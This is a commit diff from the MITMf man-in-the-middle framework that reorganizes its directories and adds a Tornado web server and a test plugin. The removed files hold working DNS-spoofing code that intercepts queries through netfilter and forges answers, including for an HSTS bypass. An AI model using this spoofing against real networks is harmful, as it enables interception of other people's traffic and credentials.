mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-14 02:37:06 -07:00
Initial webserver implementation, plus organized directory structure a bit better
This commit is contained in:
parent
fb26d89204
commit
929520fcc8
27 changed files with 54 additions and 240 deletions
|
@ -8,7 +8,7 @@ from scapy.all import *
|
|||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
|
||||
class DHCPServer():
|
||||
class DHCPpoisoner():
|
||||
|
||||
def __init__(self, interface, dhcpcfg, ip, mac):
|
||||
self.interface = interface
|
|
@ -1,101 +0,0 @@
|
|||
##################################################################################
|
||||
#DNS Stuff starts here(not Used)
|
||||
##################################################################################
|
||||
|
||||
#Function name self-explanatory
|
||||
|
||||
class DNSServer():
|
||||
|
||||
def serve_thread_udp(host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "Error starting UDP server on port %s: %s:" % (str(port),str(e))
|
||||
|
||||
def start(DNS_On_Off):
|
||||
if DNS_On_Off == "ON":
|
||||
t1 = threading.Thread(name="DNS", target=self.serve_thread_udp, args=("0.0.0.0", 53,DNS))
|
||||
t2 = threading.Thread(name="DNSTCP", target=self.serve_thread_udp, args=("0.0.0.0", 53,DNSTCP))
|
||||
for t in [t1, t2]:
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
if DNS_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
def ParseDNSType(data):
|
||||
QueryTypeClass = data[len(data)-4:]
|
||||
if QueryTypeClass == "\x00\x01\x00\x01":#If Type A, Class IN, then answer.
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
#DNS Answer packet.
|
||||
class DNSAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", ""),
|
||||
("Flags", "\x80\x10"),
|
||||
("Question", "\x00\x01"),
|
||||
("AnswerRRS", "\x00\x01"),
|
||||
("AuthorityRRS", "\x00\x00"),
|
||||
("AdditionalRRS", "\x00\x00"),
|
||||
("QuestionName", ""),
|
||||
("QuestionNameNull", "\x00"),
|
||||
("Type", "\x00\x01"),
|
||||
("Class", "\x00\x01"),
|
||||
("AnswerPointer", "\xc0\x0c"),
|
||||
("Type1", "\x00\x01"),
|
||||
("Class1", "\x00\x01"),
|
||||
("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long..
|
||||
("IPLen", "\x00\x04"),
|
||||
("IP", "\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self,data):
|
||||
self.fields["Tid"] = data[0:2]
|
||||
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
|
||||
self.fields["IP"] = inet_aton(OURIP)
|
||||
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
|
||||
|
||||
# DNS Server class.
|
||||
class DNS(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
data, soc = self.request
|
||||
if self.client_address[0] == "127.0.0.1":
|
||||
pass
|
||||
elif ParseDNSType(data):
|
||||
buff = DNSAns()
|
||||
buff.calculate(data)
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
#print "DNS Answer sent to: %s "%(self.client_address[0])
|
||||
responder_logger.info('DNS Answer sent to: %s'%(self.client_address[0]))
|
||||
|
||||
class DNSTCP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
if self.client_address[0] == "127.0.0.1":
|
||||
pass
|
||||
elif ParseDNSType(data):
|
||||
buff = DNSAns()
|
||||
buff.calculate(data)
|
||||
self.request.send(str(buff))
|
||||
#print "DNS Answer sent to: %s "%(self.client_address[0])
|
||||
responder_logger.info('DNS Answer sent to: %s'%(self.client_address[0]))
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
##################################################################################
|
||||
#DNS Stuff ends here (not Used)
|
||||
##################################################################################
|
|
@ -1,130 +0,0 @@
|
|||
|
||||
class DNSnfqueue():
|
||||
|
||||
hsts = False
|
||||
dns = False
|
||||
hstscfg = None
|
||||
dnscfg = None
|
||||
_instance = None
|
||||
nfqueue = None
|
||||
queue_number = 0
|
||||
|
||||
def __init__(self):
|
||||
self.nfqueue = NetfilterQueue()
|
||||
t = threading.Thread(name='nfqueue', target=self.bind, args=())
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if _DNS._instance is None:
|
||||
_DNS._instance = _DNS()
|
||||
|
||||
return _DNS._instance
|
||||
|
||||
@staticmethod
|
||||
def checkInstance():
|
||||
if _DNS._instance is None:
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
|
||||
def bind(self):
|
||||
self.nfqueue.bind(self.queue_number, self.callback)
|
||||
self.nfqueue.run()
|
||||
|
||||
def stop(self):
|
||||
try:
|
||||
self.nfqueue.unbind()
|
||||
except:
|
||||
pass
|
||||
|
||||
def enableHSTS(self, config):
|
||||
self.hsts = True
|
||||
self.hstscfg = config
|
||||
|
||||
def enableDNS(self, config):
|
||||
self.dns = True
|
||||
self.dnscfg = config
|
||||
|
||||
def resolve_domain(self, domain):
|
||||
try:
|
||||
mitmf_logger.debug("Resolving -> %s" % domain)
|
||||
answer = dns.resolver.query(domain, 'A')
|
||||
real_ips = []
|
||||
for rdata in answer:
|
||||
real_ips.append(rdata.address)
|
||||
|
||||
if len(real_ips) > 0:
|
||||
return real_ips
|
||||
|
||||
except Exception:
|
||||
mitmf_logger.info("Error resolving " + domain)
|
||||
|
||||
def callback(self, payload):
|
||||
try:
|
||||
#mitmf_logger.debug(payload)
|
||||
pkt = IP(payload.get_payload())
|
||||
|
||||
if not pkt.haslayer(DNSQR):
|
||||
payload.accept()
|
||||
return
|
||||
|
||||
if pkt.haslayer(DNSQR):
|
||||
mitmf_logger.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
|
||||
if self.dns:
|
||||
for k, v in self.dnscfg.items():
|
||||
if k in pkt[DNSQR].qname:
|
||||
self.modify_dns(payload, pkt, v)
|
||||
return
|
||||
|
||||
payload.accept()
|
||||
|
||||
elif self.hsts:
|
||||
if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
|
||||
for k,v in self.hstscfg.items():
|
||||
if v == pkt[DNSQR].qname[:-1]:
|
||||
ip = self.resolve_domain(k)
|
||||
if ip:
|
||||
self.modify_dns(payload, pkt, ip)
|
||||
return
|
||||
|
||||
if 'wwww' in pkt[DNSQR].qname:
|
||||
ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
|
||||
if ip:
|
||||
self.modify_dns(payload, pkt, ip)
|
||||
return
|
||||
|
||||
if 'web' in pkt[DNSQR].qname:
|
||||
ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
|
||||
if ip:
|
||||
self.modify_dns(payload, pkt, ip)
|
||||
return
|
||||
|
||||
payload.accept()
|
||||
|
||||
except Exception, e:
|
||||
print "Exception occurred in nfqueue callback: " + str(e)
|
||||
|
||||
def modify_dns(self, payload, pkt, ip):
|
||||
try:
|
||||
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
|
||||
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
|
||||
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
|
||||
|
||||
if self.hsts:
|
||||
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
|
||||
for i in ip:
|
||||
spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
|
||||
mitmf_logger.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
||||
payload.set_payload(str(spoofed_pkt))
|
||||
payload.accept()
|
||||
|
||||
if self.dns:
|
||||
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
|
||||
mitmf_logger.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
||||
payload.set_payload(str(spoofed_pkt))
|
||||
payload.accept()
|
||||
|
||||
except Exception, e:
|
||||
print "Exception occurred while modifying DNS: " + str(e)
|
21
core/servers/http/HTTPServer.py
Normal file
21
core/servers/http/HTTPServer.py
Normal file
|
@ -0,0 +1,21 @@
|
|||
import tornado.ioloop
|
||||
import tornado.web
|
||||
import threading
|
||||
|
||||
class HTTPServer:
|
||||
|
||||
_instance = None
|
||||
application = tornado.web.Application([])
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if HTTPServer._instance == None:
|
||||
HTTPServer._instance = HTTPServer()
|
||||
|
||||
return HTTPServer._instance
|
||||
|
||||
def start(self, port=80):
|
||||
self.application.listen(port)
|
||||
t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
0
core/servers/smb/__init__.py
Normal file
0
core/servers/smb/__init__.py
Normal file
9
mitmf.py
9
mitmf.py
|
@ -172,12 +172,17 @@ NetCreds().start(args.interface, myip)
|
|||
print "|_ Net-Creds v{} online".format(NetCreds.version)
|
||||
|
||||
#Start DNSChef
|
||||
from core.dnschef.DNSchef import DNSChef
|
||||
from core.servers.dns.DNSchef import DNSChef
|
||||
DNSChef.getInstance().start()
|
||||
print "|_ DNSChef v{} online".format(DNSChef.version)
|
||||
|
||||
#Start the HTTP Server
|
||||
from core.servers.http.HTTPServer import HTTPServer
|
||||
HTTPServer.getInstance().start()
|
||||
print "|_ HTTPserver online"
|
||||
|
||||
#Start the SMB server
|
||||
from core.protocols.smb.SMBserver import SMBserver
|
||||
from core.servers.smb.SMBserver import SMBserver
|
||||
print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver)
|
||||
SMBserver().start()
|
||||
|
||||
|
|
|
@ -24,7 +24,7 @@ import logging
|
|||
from plugins.plugin import Plugin
|
||||
from core.utils import IpTables, SystemConfig
|
||||
from core.sslstrip.URLMonitor import URLMonitor
|
||||
from core.dnschef.DNSchef import DNSChef
|
||||
from core.servers.dns.DNSchef import DNSChef
|
||||
|
||||
class HSTSbypass(Plugin):
|
||||
name = 'SSLstrip+'
|
||||
|
|
|
@ -19,11 +19,11 @@
|
|||
#
|
||||
|
||||
from core.utils import SystemConfig, IpTables, shutdown
|
||||
from core.protocols.arp.ARPpoisoner import ARPpoisoner
|
||||
from core.protocols.arp.ARPWatch import ARPWatch
|
||||
from core.dnschef.DNSchef import DNSChef
|
||||
from core.protocols.dhcp.DHCPServer import DHCPServer
|
||||
from core.protocols.icmp.ICMPpoisoner import ICMPpoisoner
|
||||
from core.poisoners.arp.ARPpoisoner import ARPpoisoner
|
||||
from core.poisoners.arp.ARPWatch import ARPWatch
|
||||
from core.servers.dns.DNSchef import DNSChef
|
||||
from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner
|
||||
from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner
|
||||
from plugins.plugin import Plugin
|
||||
from scapy.all import *
|
||||
|
||||
|
|
18
plugins/TestPlugin.py
Normal file
18
plugins/TestPlugin.py
Normal file
|
@ -0,0 +1,18 @@
|
|||
from plugins.plugin import Plugin
|
||||
from core.servers.http.HTTPServer import HTTPServer
|
||||
import tornado.web
|
||||
|
||||
class TestPlugin(Plugin):
|
||||
name = "testplugin"
|
||||
optname = "test"
|
||||
desc = "Plugin to test dynamically configuring the internal web server"
|
||||
version = "0.1"
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
HTTPServer.getInstance().application.add_handlers('', [(r"/test", MainHandler)])
|
||||
|
||||
class MainHandler(tornado.web.RequestHandler):
|
||||
def get(self):
|
||||
print self.request
|
||||
self.write("Hello World!")
|
|
@ -13,4 +13,5 @@ service_identity
|
|||
watchdog
|
||||
impacket
|
||||
capstone
|
||||
tornado
|
||||
pypcap
|
Loading…
Add table
Add a link
Reference in a new issue